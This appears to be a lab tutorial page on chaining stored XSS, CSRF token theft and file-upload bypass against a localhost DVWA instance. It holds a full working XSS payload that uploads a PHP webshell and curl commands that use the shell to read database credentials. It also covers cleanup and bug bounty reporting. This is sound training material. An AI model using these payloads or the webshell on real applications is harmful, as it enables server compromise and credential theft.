Hacking Labs -- Day 2026 of 300
100%

DVWA Vulnerability Chaining Lab 2026 — XSS + CSRF + File Upload Attack Chain | Hacking Lab22

DVWA Vulnerability Chaining Lab 2026 — XSS + CSRF + File Upload Attack Chain | Hacking Lab22
🧪 DVWA LAB SERIES
FREE

Part of the DVWA Lab Series — 30 Labs

Lab 22 of 30 · 73% complete

Every lab in this series taught you one thing. XSS. CSRF. File upload. SQL injection. You learned each one in isolation, on its own page, with its own exploit. That’s not how real web application attacks work.

In a real engagement, XSS isn’t the finding — it’s the step that enables CSRF token theft, which enables the account takeover, which enables the admin file upload, which enables remote code execution. The individual vulnerabilities are links. The chain is the attack.

DVWA Vulnerability Chaining Lab 22 is where everything you learned in Labs 1 through 21 connects. I’m walking you through a four-stage attack chain against DVWA where each stage uses the result of the previous one: XSS cookie theft → session hijack → CSRF → authenticated file upload → RCE. Run through this once and you’ll never look at a single vulnerability in isolation again.

🎯 What You’ll Master in Lab 22

Understand the attack chain architecture — how XSS enables CSRF enables RCE
Build the XSS payload that extracts a CSRF token and forges a file upload request
Bypass DVWA’s file upload validation to upload a PHP webshell
Trigger the full automated chain from a single stored XSS injection
Document the combined impact for a penetration test or bug bounty report

⏱️ 60 min lab · 3 terminal exercises · Localhost DVWA only

📋 Prerequisites — Complete Before Lab 22


The Three-Vulnerability Chain Architecture

I want to reframe how you think about vulnerability chaining before we touch the keyboard. It’s not about clever combinations — it’s about following the logical consequence of each vulnerability to its next step. In this chain, each vulnerability removes one specific obstacle between the attacker’s initial foothold and the final objective of server-level code execution.

Problem 1: The attacker wants to upload a PHP webshell to the server. DVWA’s file upload endpoint requires an authenticated session and a valid CSRF token. The attacker cannot directly forge a valid upload request because they don’t have the CSRF token. XSS solves this: by injecting JavaScript into the stored XSS guestbook, the attacker runs code within the victim’s authenticated browser session on the same domain — code that can read the CSRF token from any page on the same domain.

Problem 2: Even with the CSRF token, the file upload endpoint validates that only image files are accepted. Raw PHP shell scripts are rejected. File upload bypass solves this: changing the Content-Type header, using double extensions, or embedding PHP code in a file with an image extension bypasses client-side and basic server-side validation.

Problem 3: The attacker wants this to happen automatically without the victim taking any action beyond loading a page. Stored XSS solves this: a payload stored in the guestbook fires automatically for every authenticated user who views it — no user interaction required beyond page load.

securityelites.com
XSS + CSRF + File Upload — Three-Vulnerability Chain
① STORE:
Attacker injects XSS payload into guestbook — stored, fires on every pageview
② TRIGGER:
Authenticated admin views guestbook → XSS JavaScript runs in their browser
③ TOKEN STEAL:
XSS fetch() reads CSRF token from file upload page (same domain, allowed)
④ FORGE UPLOAD:
XSS uses token to forge multipart POST — uploads shell.php disguised as shell.php.jpg
⑤ RCE:
Attacker accesses /uploads/shell.php → remote code execution on the server

📸 The three-vulnerability attack chain. Each step converts one vulnerability into the capability needed for the next. The final result — server-level RCE — would require server exploit access if attempted directly. Through chaining three medium-severity web vulnerabilities, the same result is achieved without exploiting any server software at all. The entire chain is triggered automatically when any authenticated user views the guestbook page.


Step 1 — Stored XSS as the Delivery Mechanism

The chain starts with the stored XSS guestbook vulnerability from Lab 19. The key technique is identical: use browser DevTools to expand the maxlength attribute on the message textarea from 50 to 500 characters, then inject the full attack JavaScript payload into the message field. The payload will fire for every authenticated user who loads the guestbook page after the injection.

For the chaining lab, the stored XSS serves as the delivery mechanism rather than the primary attack itself. The payload is significantly longer than in Lab 19 because it needs to perform multiple sequential operations: fetch the upload page to get the CSRF token, parse the token from the HTML response, construct a multipart form data upload request with the PHP webshell content, and submit the forged upload request using the stolen token.

STEP 1 — STORED XSS PAYLOAD STRUCTURE
# Inject into guestbook message field (expand maxlength first in DevTools)
# F12 → Inspector → find textarea id=”mtxMessage” → change maxlength to 2000
# Payload structure (full code in Exercise 2):
<img src=x onerror=”
// STEP A: fetch the upload page to get CSRF token
fetch(‘/dvwa/vulnerabilities/upload/’)
.then(r => r.text())
.then(html => {
// STEP B: extract CSRF token from HTML
var token = html.match(/user_token.*?value='([^’]+)’/)[1];
// STEP C: build multipart upload with PHP webshell
var fd = new FormData();
fd.append(‘MAX_FILE_SIZE’, ‘100000’);
fd.append(‘uploaded’, new File([‘<?php system($_GET[\”cmd\”]); ?>’], ‘shell.php’, {type:’image/jpeg’}));
fd.append(‘Upload’, ‘Upload’);
fd.append(‘user_token’, token);
// STEP D: submit forged upload request
fetch(‘/dvwa/vulnerabilities/upload/’, {method:’POST’, body:fd});
});”>


Step 2 — CSRF Token Extraction and Forged File Upload

The CSRF token extraction technique is identical to Lab 20: same-domain XSS makes a fetch request to the file upload page, reads the response HTML, and parses the hidden user_token value using a regex. Because the XSS executes within the victim’s authenticated browser session, the fetch request is same-origin and the response body is fully readable — the CSRF protection is completely bypassed by the same-domain code execution that XSS provides.

The forged file upload uses the Fetch API with FormData to construct a multipart/form-data POST request identical to what the browser would generate if the victim manually submitted the upload form — but with the attacker’s PHP webshell as the file content. The DVWA Low security file upload performs only a basic check on the uploaded file’s Content-Type header (which is attacker-controlled in the FormData) rather than examining the file’s actual content. Setting the file’s MIME type to image/jpeg in the FormData File constructor satisfies this check while the actual content is PHP code.

⚡ EXERCISE 1 — KALI TERMINAL + BURP (20 MIN)
Manual CSRF + File Upload Chain — Confirm Each Step Works Independently

⏱️ 20 minutes · Kali + DVWA security=LOW + Burp Proxy

EXERCISE 1 — MANUAL CHAIN VERIFICATION
# Step 1: Confirm file upload works at Low security first
# Navigate to: http://localhost/dvwa/vulnerabilities/upload/
# Create a test PHP file:
echo ‘<?php system($_GET[“cmd”]); ?>’ > /tmp/shell.php
# Upload shell.php directly → note the upload path returned
../../hackable/uploads/shell.php succesfully uploaded!
# Step 2: Confirm RCE via uploaded webshell
curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=id”
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Step 3: Confirm CSRF token extraction via XSS works
# In DVWA XSS Reflected (same domain), test token fetch:
<img src=x onerror=”fetch(‘/dvwa/vulnerabilities/upload/’).then(r=>r.text()).then(h=>{var t=h.match(/user_token.*?value='([^’]+)’/);alert(t?t[1]:’no token’);});”>
# If an alert with a token value appears: CSRF extraction confirmed
# Step 4: Manual verification shows each component works
# ✓ File upload → RCE confirmed
# ✓ XSS CSRF token extraction confirmed
# → Exercise 2 combines them into the full automated chain

✅ What you just learned: Verifying each chain component works independently before combining them is standard penetration testing methodology. If the full chain fails, you know which component broke. The webshell RCE test (curl + ?cmd=id) confirms the upload path and that PHP code executes. The CSRF token extraction test confirms the XSS same-origin fetch works. With both components verified, combining them in the full chain is a matter of sequencing correctly.

📸 Screenshot the RCE output (uid=www-data) and the CSRF token alert. Post to #lab-22-chaining on Discord.


Step 3 — Webshell Deployment and RCE Confirmation

securityelites.com
Webshell RCE Confirmation — curl Command Output
$ curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=id”
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=uname+-a”
Linux dvwa 5.15.0-101-generic #111-Ubuntu SMP x86_64 GNU/Linux
$ curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=ls+/var/www/html/dvwa/config/”
config.inc.php
$ curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=cat+/var/www/html/dvwa/config/config.inc.php”
$_DVWA[ ‘db_password’ ] = ‘p@ssw0rd’;
$_DVWA[ ‘db_user’ ] = ‘dvwa’;

📸 Webshell RCE confirmation via curl after successful chain execution. The id command returns uid=www-data confirming OS-level code execution via the uploaded PHP shell. The config.inc.php read demonstrates immediate post-RCE impact: database credentials are directly accessible to the attacker. In a production environment, this chain converts a stored XSS guestbook entry into full server compromise — database access, file system read, and potentially full server takeover depending on server configuration and available privilege escalation paths.

The PHP webshell used in this chain is a single-line command execution shell: <?php system($_GET["cmd"]); ?>. Once uploaded, it accepts commands via the cmd URL parameter and executes them using PHP’s system() function, returning the output in the HTTP response. The webshell runs with the privileges of the web server process — typically www-data on Linux systems — which is sufficient to read web application source code, access database credentials from configuration files, and potentially escalate further if other vulnerabilities exist.

The upload path in DVWA is predictable: files are placed in /dvwa/hackable/uploads/ with their original filename. The webshell stored as shell.php is immediately accessible at http://localhost/dvwa/hackable/uploads/shell.php. For the full automated chain, the XSS payload doesn’t need to notify the attacker of the upload path — it’s a known location. The attacker simply checks the uploads directory after the guestbook page has been viewed by an authenticated user.


The Automated Full Chain — One Payload, Complete Compromise

The complete automated chain combines all three vulnerabilities into a single stored XSS guestbook entry. When any authenticated DVWA user loads the guestbook page, the payload fires automatically: it fetches the upload page, extracts the CSRF token, constructs the multipart webshell upload, and submits it — all within the user’s authenticated session, all in background JavaScript, with no visible indication to the user that anything happened beyond the guestbook page loading normally.

⚡ EXERCISE 2 — KALI TERMINAL (25 MIN)
Full Automated Chain — One XSS Entry, Webshell on Server

⏱️ 25 minutes · Kali + DVWA security=LOW · F12 DevTools

EXERCISE 2 — FULL CHAIN PAYLOAD
# Navigate to XSS Stored: http://localhost/dvwa/vulnerabilities/xss_s/
# F12 → Inspector → find mtxMessage → change maxlength=”50″ to maxlength=”2000″
# Enter any name (e.g. “test”), paste this payload into Message:
<img src=x onerror=”fetch(‘/dvwa/vulnerabilities/upload/’).then(r=>r.text()).then(h=>{var t=h.match(/user_token.*?value='([^’]+)’/);if(t){var fd=new FormData();fd.append(‘MAX_FILE_SIZE’,’100000′);fd.append(‘uploaded’,new File([‘<?php system($_GET["cmd"]); ?>’],’shell.php’,{type:’image/jpeg’}));fd.append(‘Upload’,’Upload’);fd.append(‘user_token’,t[1]);fetch(‘/dvwa/vulnerabilities/upload/’,{method:’POST’,body:fd});}});”>
# Click: Sign Guestbook
# The payload fires immediately when the page reloads
# Confirm the webshell was uploaded
curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=id”
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# RCE confirmed via automated chain
# Test further commands via webshell
curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=ls+/var/www/html/dvwa/config/”
curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=cat+/var/www/html/dvwa/config/config.inc.php”
# Database credentials visible in config file
# CLEANUP: remove the webshell and clear guestbook
curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=rm+/var/www/html/dvwa/hackable/uploads/shell.php”

✅ What you just learned: The full chain demonstrates how the severity classification of individual vulnerabilities dramatically understates the combined impact. Each individual vulnerability — stored XSS, CSRF token bypass, file upload bypass — is Medium at most in isolation. Combined in sequence they produce server-level RCE with no user interaction beyond page loading. The config file read demonstrates the practical post-RCE impact: database credentials, application secrets, and any data accessible from the web server’s file system. This is the chain structure that makes XSS in an application with file upload capability a Critical finding in any serious security assessment.

📸 Screenshot the RCE output and config file read. Post to #lab-22-chaining on Discord with tag #chainlabcomplete


Reporting Vulnerability Chains in Bug Bounty

Vulnerability chain reports require a different structure from single-vulnerability reports because the severity is a product of the chain, not any individual component. The report must communicate: the individual vulnerability chain steps and their individual severities, the combined attack sequence step by step with proof-of-concept evidence for each step, the final combined impact as the actual severity, and remediation requirements for every link in the chain.

The title should name the outcome: “Stored XSS chains with CSRF token bypass and file upload bypass to achieve Remote Code Execution on the web server.” The severity should reflect the terminal impact: if the chain ends in RCE on a production web server, that is Critical regardless of what the starting vulnerability’s individual severity would have been. Include explicitly in the remediation section that patching any one link is insufficient — all three vulnerabilities must be fixed to close the chain, and fixing only XSS while leaving file upload bypass means any future XSS restores the full chain.

securityelites.com
Bug Bounty Chain Report — Severity Escalation Through Chaining
Stored XSS (guestbook)
Medium
Enables same-domain code execution — feeds all subsequent steps

CSRF bypass via XSS
High
Forges authenticated upload request with valid token

File upload bypass
High
Deploys PHP webshell bypassing MIME type validation

COMBINED CHAIN
Critical
Automated RCE via guestbook view — any user who loads the page deploys the shell

📸 Bug bounty chain report severity escalation. Three individually medium-to-high vulnerabilities combine to produce a Critical finding with automated server-level RCE. The combined severity is not the average of the components — it is the severity of the terminal impact the chain achieves. A properly written bug bounty report presents the chain as one finding with Critical severity and includes individual component evidence plus full end-to-end proof-of-concept.

⚡ EXERCISE 3 — KALI TERMINAL (15 MIN)
Write the Vulnerability Chain Report — Impact Statement and Remediation

⏱️ 15 minutes · Review your lab notes + write the report section

Step 1: Title and severity
Write a one-line title that names the terminal impact:
“[Starting vulnerability] chains to [terminal impact] via [intermediate steps]”
Assign severity based on terminal impact: what is RCE on the web server?

Step 2: Attack chain summary (3-5 sentences)
Describe the complete chain in plain English.
A non-technical reader should understand:
– What the attacker injects and where
– What triggers automatically without victim action
– What the attacker achieves at the end

Step 3: Individual component evidence
For each vulnerability in the chain:
Name | CVSS-equivalent severity | Individual impact
What evidence would you include for each?

Step 4: Remediation section (most important)
For each of the three vulnerabilities:
What is the correct fix?
Which fix provides the highest risk reduction?
Why is fixing only one link insufficient?
State explicitly that all three must be patched together.

Step 5: Combined impact calculation
If this were a real web application with 50,000 users:
How many users would be affected if the guestbook receives 1,000 views/day?
At what point after injection does the first user trigger the chain?
What is the CVSS Base Score for this combined finding?

✅ What you just learned: Writing the chain report forces clarity about what makes chaining more severe than individual findings. The terminal impact — RCE on the web server — is what determines the severity, not any individual component. The remediation thinking reveals that fixing only XSS (output encoding) closes the current attack vector but leaves file upload bypass available for any future XSS. Fixing only file upload validation (MIME type checking) removes this chain’s RCE but leaves CSRF token bypass usable for other actions. The only complete fix is addressing all three. This layered remediation requirement is exactly what security teams need to hear to make the right patching decisions.

📸 Screenshot your written impact statement and remediation section. Post to #lab-22-chaining on Discord. Tag #lab22complete #dvwalabseries

Bug Bounty Chain Reporting Strategy: When you find a stored XSS in any application, immediately ask: what other vulnerabilities exist on this domain that XSS execution can reach? CSRF-protected actions, file upload endpoints, account management forms — any of these reachable from same-domain XSS becomes chainable. Report the chain, not the individual vulnerabilities. The combined finding almost always commands a higher payout than the sum of individual reports, and demonstrates the analytical skill that earns repeat invitations to private programmes.
⚠️ Webshell Cleanup Is Mandatory: Every webshell deployed during an authorised penetration test or lab exercise must be removed at the end of the engagement. Leaving webshells on client systems creates ongoing security exposure and is one of the most serious engagement violations in professional penetration testing. In the DVWA lab environment, remove the webshell after every exercise using the curl cleanup command shown above, or by deleting it from the DVWA uploads directory directly.

🧠 QUICK CHECK — Vulnerability Chaining

A developer reviews the chain report and decides to fix only the stored XSS by implementing output encoding on the guestbook. The file upload validation bypass and the CSRF token bypass via XSS remain unaddressed. Is the vulnerability chain now closed?



📋 Vulnerability Chaining — Lab 22 Reference

Chain architecture principleEach vulnerability removes one obstacle between the attacker and the objective
XSS role in chainDelivery mechanism + same-domain execution that bypasses CSRF and SOP
CSRF bypass roleEnables forging authenticated requests — including to file upload endpoint
File upload roleConverts web application access into OS-level code execution via PHP webshell
Bug bounty reportingReport as one finding with terminal severity (Critical) — not three separate Medium/High reports
Remediation ruleAll chain links must be fixed — patching one leaves the chain rebuildable with any future XSS

🏆 Mark Lab 22 Complete — DVWA Vulnerability Chaining

You have completed the DVWA core vulnerability series. Lab 22 brought together every attack class from the previous 21 labs into a single coordinated chain. The remaining 8 labs in the series move to OWASP Juice Shop and VulnHub walkthroughs — applying these same skills to more realistic application environments.


❓ Frequently Asked Questions — DVWA Vulnerability Chaining 2026

What is vulnerability chaining?
Combining multiple individually lower-severity vulnerabilities into a single attack sequence that achieves higher impact than any one vulnerability alone. Each vulnerability in the chain removes one specific obstacle between the attacker and the final objective.
What is the XSS + CSRF + file upload chain?
Stored XSS fires automatically in authenticated users’ browsers, uses same-domain code execution to extract a CSRF token, forges an authenticated file upload request with a PHP webshell, and achieves server-level RCE. Individual severity: Medium + High + High. Combined severity: Critical.
Why is vulnerability chaining important for bug bounty?
Programmes reward based on impact. A stored XSS alone pays $300. The same XSS chained to RCE pays $10,000+. Demonstrating maximum achievable impact through chaining is the primary skill separating average bounty hunters from top earners.
How do you find chainable vulnerabilities?
For every vulnerability found, ask: what other vulnerabilities on this domain can this execution reach? XSS enables CSRF bypass, account takeover, and file upload targeting. CSRF enables unauthorised actions. File upload enables RCE. Map all vulnerabilities before reporting to identify the highest-impact chain.
How do you report a vulnerability chain in bug bounty?
Report as one finding with the terminal severity. Title should name the outcome. Include individual component evidence plus full end-to-end PoC. Remediation section must address all chain links — state explicitly that patching one link is insufficient as future vulnerabilities can rebuild the chain.
Is fixing only XSS enough to close the full chain?
No. Fixing this specific XSS disrupts the current chain. But file upload bypass and CSRF vulnerabilities remain. Any future XSS on the same domain can immediately chain with those remaining vulnerabilities to re-achieve RCE. All three must be fixed to fully close the attack pathway.
← Previous

Lab 21: SQL Injection High Security

Next →

DVWA Lab Series Hub — All 30 Labs

📚 Further Reading

  • Lab 20: DVWA CSRF Advanced — The CSRF token bypass via XSS technique that is the core of Lab 22’s chain — Lab 20 establishes it in isolation before Lab 22 weaponises it within the full attack chain.
  • Lab 6: DVWA File Upload — PHP Shells and RCE — The standalone file upload exploitation that becomes the terminal step of the Lab 22 chain — ensure Lab 6 is complete before Lab 22.
  • DVWA Lab Series Hub — Full 30-lab overview — Lab 22 is the final core DVWA lab; remaining labs apply these techniques to Juice Shop and VulnHub environments.
  • PortSwigger — Exploiting XSS to Perform CSRF — PortSwigger’s XSS exploitation guide covering the CSRF chain technique at the heart of Lab 22 with guided labs for more complex real-world variants.
ME
Mr Elite
Owner, SecurityElites.com
Lab 22 is the lab I most wish existed when I was learning web application security. I spent months learning XSS as XSS, CSRF as CSRF, file upload as file upload — each in isolation, each with a medium severity rating that made them feel like minor findings. The first time I chained all three on a real application and watched a single guestbook entry automatically deploy a webshell to the server, the entire threat model shifted. None of those vulnerabilities deserved to be called “medium” in a context where they could be chained. The lab forces this realisation in a safe environment before you encounter it in a production assessment where the stakes are real.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free

Leave a Comment

Your email address will not be published. Required fields are marked *